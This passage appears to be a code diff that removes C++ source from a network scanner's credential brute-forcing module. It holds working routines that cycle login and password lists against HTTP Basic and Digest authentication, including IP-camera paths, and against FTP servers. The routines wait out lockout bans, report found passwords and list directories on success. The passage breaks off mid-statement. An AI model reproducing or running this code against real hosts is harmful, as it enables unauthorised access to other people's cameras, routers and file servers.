sizeof(tempBuff)); - if(x <= 0) break; - Activity += x; - xx += x; - strncat(rvBuff, tempBuff, x); - ZeroMemory(tempBuff, sizeof(tempBuff)); - }; - - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); - }; - SSL_shutdown(ssl); - SSL_free(ssl); - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - return; - }; - }; - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - } - else - { - char buff1[512] = {0}; - char buff2[512] = {0}; - - ERR_error_string(ERR_peek_error(), buff1); - ERR_error_string(ERR_peek_last_error(), buff2); - stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); - }; -}; -char *_getAttributeValue(char *str, char *val, char *ip, int port) -{ - char res[1024] = {0}; - char *ptrStart = NULL; - char *ptrS1End = NULL; - char *ptrS2End = NULL; - - ptrStart = strstri(str, val); - if(ptrStart != NULL) - { - if(strstri(ptrStart, "qop=auth") != NULL) return "auth"; - ptrS1End = _findFirst(ptrStart, "\""); - if(ptrS1End != NULL) - { - ptrS2End = _findFirst(ptrS1End + 1, "\""); - if(ptrS2End != NULL) - { - int sz = ptrS2End - ptrS1End - 1; - - if(sz != 0 && sz < 1024) strncpy(res, ptrS1End + 1, sz); - else return ""; - - return res; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); - return ""; - }; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); - return ""; - }; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); - return ""; - }; -}; - -#define HASHLEN 16 -typedef char HASH[HASHLEN]; -#define HASHHEXLEN 32 -typedef char HASHHEX[HASHHEXLEN+1]; -#define IN -#define OUT -void CvtHex( - IN HASH Bin, - OUT HASHHEX Hex - ) -{ - unsigned short i; - unsigned char j; - - for (i = 0; i < HASHLEN; i++) { - j = (Bin[i] >> 4) & 0xf; - if (j <= 9) - Hex[i*2] = (j + '0'); - else - Hex[i*2] = (j + 'a' - 10); - j = Bin[i] & 0xf; - if (j <= 9) - Hex[i*2+1] = (j + '0'); - else - Hex[i*2+1] = (j + 'a' - 10); - }; - Hex[HASHHEXLEN] = '\0'; -}; -char *_makeDigestResponse( - char *login, - char *realm, - char *pass, - char *path, - char *nonce, - char *pszNonceCount, - char *pszCNonce, - char *pszQop - ) -{ - char HA1[MD5_DIGEST_LENGTH]; - char HA2[MD5_DIGEST_LENGTH]; - char HA1Data[512] = {0}; - char HA2Data[512] = {0}; - - strcpy(HA1Data, login); - strcat(HA1Data, ":"); - strcat(HA1Data, realm); - strcat(HA1Data, ":"); - strcat(HA1Data, pass); - - strcpy(HA2Data, "GET:"); - strcat(HA2Data, path); - - MD5((unsigned char*) HA1Data, strlen(HA1Data), (unsigned char*)HA1); - MD5((unsigned char*) HA2Data, strlen(HA2Data), (unsigned char*)HA2); - - char responseData[512] = {0}; - char *HA1MD5 = new char[64]; - char *HA2MD5 = new char[64]; - ZeroMemory(HA1MD5, 64); - ZeroMemory(HA2MD5, 64); - - CvtHex(HA1, HA1MD5); - strcpy(responseData, HA1MD5); - strcat(responseData, ":"); - strcat(responseData, nonce); - strcat(responseData, ":"); - if (*pszQop != NULL) { - strcat(responseData, pszNonceCount); - strcat(responseData, ":"); - strcat(responseData, pszCNonce); - strcat(responseData, ":"); - strcat(responseData, pszQop); - strcat(responseData, ":"); - }; - CvtHex(HA2, HA2MD5); - strcat(responseData, HA2MD5); - delete []HA1MD5; - delete []HA2MD5; - - char response[MD5_DIGEST_LENGTH]; - MD5((unsigned char*) responseData, strlen(responseData), (unsigned char*)response); - char responseMD5[64] = {0}; - CvtHex(response, responseMD5); - return (char*)responseMD5; -}; - -lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) -{ - if(strcmp(method, "[DIGEST]") != 0 && strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: " + QString(ip) + ":" + QString::number(port) + + ""); - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - - int cookieLen = strlen(cookie); - char path[512] = {0}; - strncpy(path, pathT, 512); - - int bTO; - bool goon = false; - char hRqst[REQUEST_MAX_SIZE] = {0}; - char headerMsg[REQUEST_MAX_SIZE] = {0}; - char hMsgR[512] = {0}; - - strcpy(hRqst, "GET "); - strcat(hRqst, path); - strcat(hRqst, " HTTP/1.1\r\nHost: "); - strcat(hRqst, ip); - - if(port != 80){ - strcat(hRqst, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(hRqst, tbuff); - }; - - if(cookieLen != 0) - { - strcat(hRqst, "\r\nCookie: "); - strcat(hRqst, cookie); - }; - strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic bG9sa2E6bG9sa2F=\r\n\r\n"); - - sockaddr_in sockAddr; - if(port == 443) - { - ZeroMemory(headerMsg, REQUEST_MAX_SIZE); - _baSSLWorker(ip, hRqst, headerMsg); - } - - else - { - SOCKET sock; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - HOSTENT *host; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - if(sock != INVALID_SOCKET) { - - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) != SOCKET_ERROR) { - - if(send(sock, hRqst, strlen(hRqst), 0) != SOCKET_ERROR) { - - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst)); - ZeroMemory(headerMsg, REQUEST_MAX_SIZE); - int x = 1; - int xx = 0; - - while(xx < 512) - { - x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO); - if(x <= 0) break; - strncat(headerMsg, hMsgR, x); - xx += x; - ZeroMemory(hMsgR, sizeof(hMsgR)); - }; - - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg)); - } else { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Send]: " + QString::number(WSAGetLastError())); - }; - } else { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Connect]: " + QString::number(WSAGetLastError())); - }; - } else { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA: Invalid socket]: " + QString::number(WSAGetLastError())); - }; - CSSOCKET(sock); - }; - - - - if(strlen(headerMsg) == 0) - { - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - if(strstr(headerMsg, "401 ") == NULL - && strstr(headerMsg, ".1 401") == NULL - && strstr(headerMsg, ".0 401") == NULL - && strstr(headerMsg, "401") == NULL - && strstr(headerMsg, "Unauthorized") == NULL - ) - { - if(strstri(headerMsg, "400 Bad") != NULL) - { - strcpy(lps.other, "[400 Bad Request]"); - isActive = 0; - return lps; - } - else if(strstri(headerMsg, "404 Not") != NULL - || strstr(headerMsg, "404 ") != NULL - || strstr(headerMsg, ".1 404") != NULL - || strstr(headerMsg, ".0 404") != NULL - ) - { - if(strstr(path, "/axis-cgi/com/ptz.cgi?") != NULL) - { - int sz = strlen("/view/viewer_index.shtml"); - strncpy(path, "/view/viewer_index.shtml", sz); - memset(path + sz, 0, 1); - goon = true; - } - else - { - strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data()); - isActive = 0; - return lps; - }; - } - else if( // - (strstr(headerMsg, ".1 403") != NULL // - || strstr(headerMsg, ".0 403") != NULL //Hikkvision2 - ) // - && strstr(headerMsg, "badAuthorization") != NULL // - ) - { - goon = true; - } - else if(strlen(headerMsg) < 16) - { - goon = true; - stt->doEmitionRedFoundData("Corrupted reply: (" + QString(headerMsg) + ") " + QString(ip) + ":"+ QString::number(port)); - }; - - if(goon == false) - { - strcpy(lps.login, "NULL"); - strcpy(lps.pass, "NULL"); - isActive = 0; - return lps; - }; - }; - - - isActive = 1; - char tPass[256] = {0}; - char curLogin[256] = {0}; - char curPass[256] = {0}; - int cCode; - int cErrCode; - int dataSz = 0; - char request[REQUEST_MAX_SIZE] = {0}; - char recvBuff[4096] = {0}; - char recvBuff2[512] = {0}; - char pass[256] = {0}; - int WSAErr; - - char localBuff[4096] = {0}; - strcpy(localBuff, headerMsg); - int passCounter = 1; - char attribute[2048] = {0}; - char nonce[512] = {0}; - char realm[512] = {0}; - char opaque[512] = {0}; - char qop[64] = {0}; - std::string encoded = ""; - - for(int i = 0; i < MaxLogin; i++) - { - if(globalScanFlag == false) break; - for(int j = 0; j < MaxPass; j++) - { - if(globalScanFlag == false) break; - - ZeroMemory(request, REQUEST_MAX_SIZE); - ZeroMemory(curLogin, sizeof(curLogin)); - ZeroMemory(curPass, sizeof(curPass)); - strcpy(curLogin, loginLst[i]); - strcpy(curPass, passLst[j]); - - if(strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) - { - ZeroMemory(attribute, sizeof(attribute)); - strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); - ZeroMemory(nonce, sizeof(nonce)); - strcpy(nonce, _getAttributeValue(attribute, "nonce=", ip, port)); - ZeroMemory(realm, sizeof(realm)); - strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); - ZeroMemory(qop, sizeof(qop)); - if(strstri(attribute, "qop") != NULL) - { - strcpy(qop, _getAttributeValue(attribute, "qop=", ip, port)); - }; - - strcpy(request, "GET "); - strcat(request, path); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); - strcat(request, curLogin); - strcat(request, "\", realm=\""); - strcat(request, realm); - strcat(request, "\", nonce=\""); - strcat(request, nonce); - strcat(request, "\", uri=\""); - strcat(request, path); - strcat(request, "\", qop=auth, response=\""); - strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce, "10000001", "9d531d56796e0dc9", qop)); - if(strstri(attribute, "opaque") != NULL) - { - ZeroMemory(opaque, sizeof(opaque)); - strcpy(opaque, _getAttributeValue(attribute, "opaque=", ip, port)); - strcat(request, "\", opaque=\""); - strcat(request, opaque); - }; - strcat(request, "\", nc=10000001, cnonce=\"9d531d56796e0dc9\""); - strcat(request, "\r\nConnection: close\r\n\r\n"); - } - else - { - ZeroMemory(tPass, sizeof(tPass)); - strncpy(tPass, curLogin, strlen(curLogin)); - strcat(tPass, ":"); - strncat(tPass, curPass, strlen(curPass)); - encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); - strcpy(request, "GET "); - strcat(request, path); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); - strcat(request, encoded.c_str()); - strcat(request, "\r\nConnection: close\r\n\r\n"); - }; - - if(port == 443) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - if(BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + ";"); - _baSSLWorker(ip, request, recvBuff); - dataSz = strlen(recvBuff); - } - - else - { - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - - if(cCode == SOCKET_ERROR) { - - int errorCode = WSAGetLastError(); - if(errorCode == 10038) { - - while(errorCode == 10038) - { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA][10038] - [" + QString(ip) + ":" + QString::number(port) + "]"); - CSSOCKET(sock); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - errorCode = WSAGetLastError(); - }; - } else { - - CSSOCKET(sock); - - if(errorCode != 10060) - { - stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); - }; - - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - } else { - - int x = 1; - Activity += strlen(request); - - if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - dataSz = 0; - ZeroMemory(recvBuff2, sizeof(recvBuff2)); - ZeroMemory(recvBuff, sizeof(recvBuff)); - while (x > 0 && dataSz < 3384) - { - ZeroMemory(recvBuff2, sizeof(recvBuff2)); - x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO); - - dataSz += x; - Activity += x; - strncat(recvBuff, recvBuff2, x); - }; - if(BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(curLogin) + ":" + QString(curPass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - } - else - { - stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]"); - - CSSOCKET(sock); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - } - }; - CSSOCKET(sock); - }; - - - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); - - if(dataSz == 0) - { - stt->doEmitionBAData("[BA] No reply from: " + QString(ip) + "; Repeating..."); - --j; - continue; - } - else - { - ++passCounter; - }; - - if(strcmp(method, "[DIGEST]") == 0) - { - ZeroMemory(localBuff, sizeof(localBuff)); - strcpy(localBuff, recvBuff); - }; - - if(strstri(recvBuff, "http/1.1 401") == NULL - || strstri(recvBuff, "http/1.0 401") == NULL - ) - { - ///dummy/// - } - else if(strstri(recvBuff, "503 service unavailable") != NULL - || strstri(recvBuff, "http/1.1 503") != NULL - || strstri(recvBuff, "http/1.0 503") != NULL - || strstr(recvBuff, "400 BAD_REQUEST") != NULL - || strstri(recvBuff, "400 bad request") != NULL - || strstr(recvBuff, "403 Forbidden") != NULL - ) - { - stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); - - if(j > 0) --j; - Sleep(30000); - } - else if((strstri(recvBuff, "http/1.1 404") != NULL - || strstri(recvBuff, "http/1.0 404") != NULL - ) - && strstri(recvBuff, "Authorization required") == NULL - ) - { - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); - - stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); - - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - } - else if( (strstri(recvBuff, "200 ok") != NULL - || strstri(recvBuff, "http/1.0 200") != NULL - ) - && strstri(recvBuff, "http/1.1 401 ") == NULL - && strstri(recvBuff, "http/1.0 401 ") == NULL - && strstr(headerMsg, "401") == NULL - && strstr(headerMsg, "Unauthorized") == NULL - && dataSz > 13 - ) - { - if(strstri(recvBuff, "access is denied") == NULL - && strstri(recvBuff, "iisstart") == NULL - && strstri(recvBuff, "Location:") == NULL - && strstri(recvBuff, "access forbidden") == NULL - ) - { - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Password found: "); - strcat(pass, tPass); - isActive = 0; - stt->doEmition_BAGreenData("[+] " + QString(pass)); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - return lps; - }; - } - else - { - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Password found: "); - strcat(pass, tPass); - isActive = 0; - char *pt1 = strstr(recvBuff, " "); - if(pt1 != NULL) - { - char *pt2 = strstr(pt1 + 1, " "); - if(pt2 != NULL) - { - int sz = pt2 - pt1 - 1; - char tempHeaderCode[16] = {0}; - strncpy(tempHeaderCode, pt1 + 1, sz); - - if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: " + QString(ip) + ":" + QString::number(port) + ""); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - return lps; - }; - }; - stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: " + QString(ip) + ":" + QString::number(port) + ""); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - return lps; - }; - if(strstr(recvBuff, "Set-Cookie:") != NULL) - { - ZeroMemory(cookie, COOKIE_MAX_SIZE); - strncpy(cookie, _getAttribute(recvBuff, "Set-Cookie:"), COOKIE_MAX_SIZE); - cookieLen = strlen(cookie); - }; - }; - }; - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; -} -lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - - BConInc(); - lopaStr res = _BABrute(cookie, ip, port, path, method); - BConDec(); - - return res; -}; - -lopaStr _FTPBrute(char *ip, int port, PathStr *ps) -{ - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - - char recvBuff[1024] = {0}, request[64] = {0}; - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#endif - - bool breakPassLoop = 0; - int passCounter = 1; - int bTO; - int x = 0; - int connectionResult, closedSocket = 1, loginFailedFlag = 0; - - SOCKET sockFTP; - for(int i = 0; i < MaxLogin; ++i) - { - if(globalScanFlag == false) break; - if(strlen(loginLst[i]) <= 1) continue; - - for(int j = 0; j < MaxPass; ++j) - { - if(globalScanFlag == false) break; - if(strlen(passLst[j]) <= 1) continue; - - if(closedSocket) - { - closedSocket = 0; - sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - - while(WSAGetLastError() == 10038) - { - if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured - [" + QString(ip) + ":" + QString::number(port) + "]"); - CSSOCKET(sockFTP); - sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - }; - loginFailedFlag = 0; - }; - - isActive = 1; - - if(connectionResult != SOCKET_ERROR) - { - x = 0; - while (true) - { - Sleep(100); - ZeroMemory(recvBuff, 1024); - x = recvWT(sockFTP, recvBuff, 1024, gTimeOut + 5, &bTO); - if(x <= 0) break; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); - - Activity += x; - closedSocket = 0; - if(strstr(recvBuff, "451 The parameter is incorrect") != NULL) - { - CSSOCKET(sockFTP); - isActive = 0; - stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip)); - strcpy(lps.other, "Unknown protocol (451 Error)"); - return lps; - }; - - if(strstri(recvBuff, "only anonymous") != NULL) - { - CSSOCKET(sockFTP); - isActive = 0; - stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); - - strcpy(lps.login, "anonymous"); - strcpy(lps.pass, "1"); - return lps; - }; - - if(strstr(recvBuff, "550 no connections allowed") != NULL - || strstr(recvBuff, "550-") != NULL - ) - { - CSSOCKET(sockFTP); - - isActive = 0; - - - stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip)); - - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - if(strstr(recvBuff, "no such command")) - { - CSSOCKET(sockFTP); - - isActive = 0; - stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip)); - strcpy(lps.other, "[500 Sorry, no such command]"); - return lps; - }; - - if((strstr(recvBuff, "500 ") != NULL - || strstr(recvBuff, "500-") != NULL - ) - && strstri(recvBuff, "500 oops") == NULL - ) - { - j = 0; - break; - }; - - if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL) - { - break; - }; - - if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL) - { - ++i; - break; - }; - - if(globalScanFlag == false) break; - - if((strstr(recvBuff, "530 Sorry") != NULL) - || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) - || strstr(recvBuff, "exceeded") != NULL - || strstr(recvBuff, "421 Too many") != NULL - || strstr(recvBuff, "from this IP") != NULL - || strstr(recvBuff, "from your IP") != NULL) - { - stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); - if(j > 0) --j; - ZeroMemory(recvBuff, sizeof(recvBuff)); - Sleep(30000); - break; - } - else if( (strstr(recvBuff, "220 ") != NULL || loginFailedFlag == 1 || strstr(recvBuff, "503") != NULL || strstr(recvBuff, "server ready") != NULL )) - { - strcpy(request, "USER "); - if(strlen(loginLst[i]) != 0) strcat(request, loginLst[i]); - else - { - loginFailedFlag = 1; - break; - }; - strcat(request, "\r\n"); - if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - Activity += strlen(request); - - ZeroMemory(request, sizeof(request)); - } - else - { - stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); - }; - } - else if(strstr(recvBuff, "530") != NULL - || strstr(recvBuff, "Login incorrect") != NULL - || strstri(recvBuff, "500 oops") != NULL - ) - { - loginFailedFlag = 1; - break; - } - else if(strstr(recvBuff, "331") != NULL) - { - if(strstr(recvBuff, "Non-anonymous sessions must use encryption") != NULL - || strstr(recvBuff, "Rejected--secure connection required") != NULL - ) - { - stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); - CSSOCKET(sockFTP); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - } - else if(strstri(recvBuff, "permission denied") == NULL) - { - strcpy(request, "PASS "); - if(strlen(passLst[j]) != 0) strcat(request, passLst[j]); - else - { - loginFailedFlag = 1; - break; - }; - strcat(request, "\r\n"); - if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - - Activity += strlen(request); - ZeroMemory(request, sizeof(request)); - - if(BALogSwitched) stt->doEmitionBAData("Probing FTP: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - ++passCounter; - } - else - { - stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); - }; - } - else - { - breakPassLoop = 1; - stt->doEmition_BARedData("Permission denied for login - " + QString(ip) + ":" + QString::number(port) + "; login: " + QString(loginLst[i])); - break; - }; - } - else if(strstr(recvBuff, "230") != NULL) - { - char pass[128] = {0}; - - strcpy(pass, ip); - strcat(pass, " - FTP Password found: "); - strcat(pass, loginLst[i]); - strcat(pass, ":"); - strcat(pass, passLst[j]); - - char recvBuff2[2048] = {0}; - if(send(sockFTP, "PASV\r\n", 6, 0) != SOCKET_ERROR) - { - int x = 1, xx = 0; - while(x != 0) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = recvWT(sockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 5, &bTO); - xx += x; - if(xx < 1536) strncat(recvBuff2, recvBuff, x); - else break; - }; - - if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL) - { - stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?"); - CSSOCKET(sockFTP); - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); - strcpy(lps.other, "ROUTER"); - isActive = 0; - return lps; - }; - -#pragma region Get pasv Port - char *ptr0 = strstr(recvBuff2, "227 "); - - if( ptr0 != NULL ) - { - if(strstr(ptr0, "(") != NULL) - { - char pasvData[32] = {0}; - char *ptr1 = strstr(ptr0, "("); - char *ptr2 = strstr(ptr0, ")"); - int sz = ptr2 - ptr1 - 1; - strncpy(pasvData, ptr1 + 1, sz); - char *ptr3 = strstr(pasvData, ","); - ptr3 = strstr(ptr3 + 1, ","); - ptr3 = strstr(ptr3 + 1, ","); - ptr3 = strstr(ptr3 + 1, ","); - - if(ptr3 != NULL) - { - char *ptrP2 = strstr(ptr3 + 1, ","); - char p1c[8] = {0}; - sz = ptrP2 - ptr3 - 1; - strncpy(p1c, ptr3 + 1, sz); - int p1 = atoi(p1c); - int p2 = atoi(ptrP2 + 1); - port = p1 * 256 + p2; - - sockAddr.sin_port = htons(port); - SOCKET newSockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connectionResult = connect(newSockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - - send(sockFTP, "LIST\r\n", 6, 0); - ZeroMemory(recvBuff, sizeof(recvBuff)); - int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); - if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) - { - send(sockFTP, "MLSD\r\n", 6, 0); - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); - if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) - { - stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]"); - - CSSOCKET(sockFTP); - CSSOCKET(newSockFTP); - closedSocket = 1; - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - } - else { - stt->doEmition_BAGreenData("[+] " + QString(pass) + " [MLSD succeeded]"); - ps->directoryCount = _countFTPDirectories(recvBuff); - }; - } - else - { - stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); - ps->directoryCount = _countFTPDirectories(recvBuff); - }; - - CSSOCKET(newSockFTP); - } - else - { - stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV failed]"); - }; - } - else - { - stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); - }; - } - else - { - stt->doEmitionYellowFoundData("[*] " + QString(ip) + " 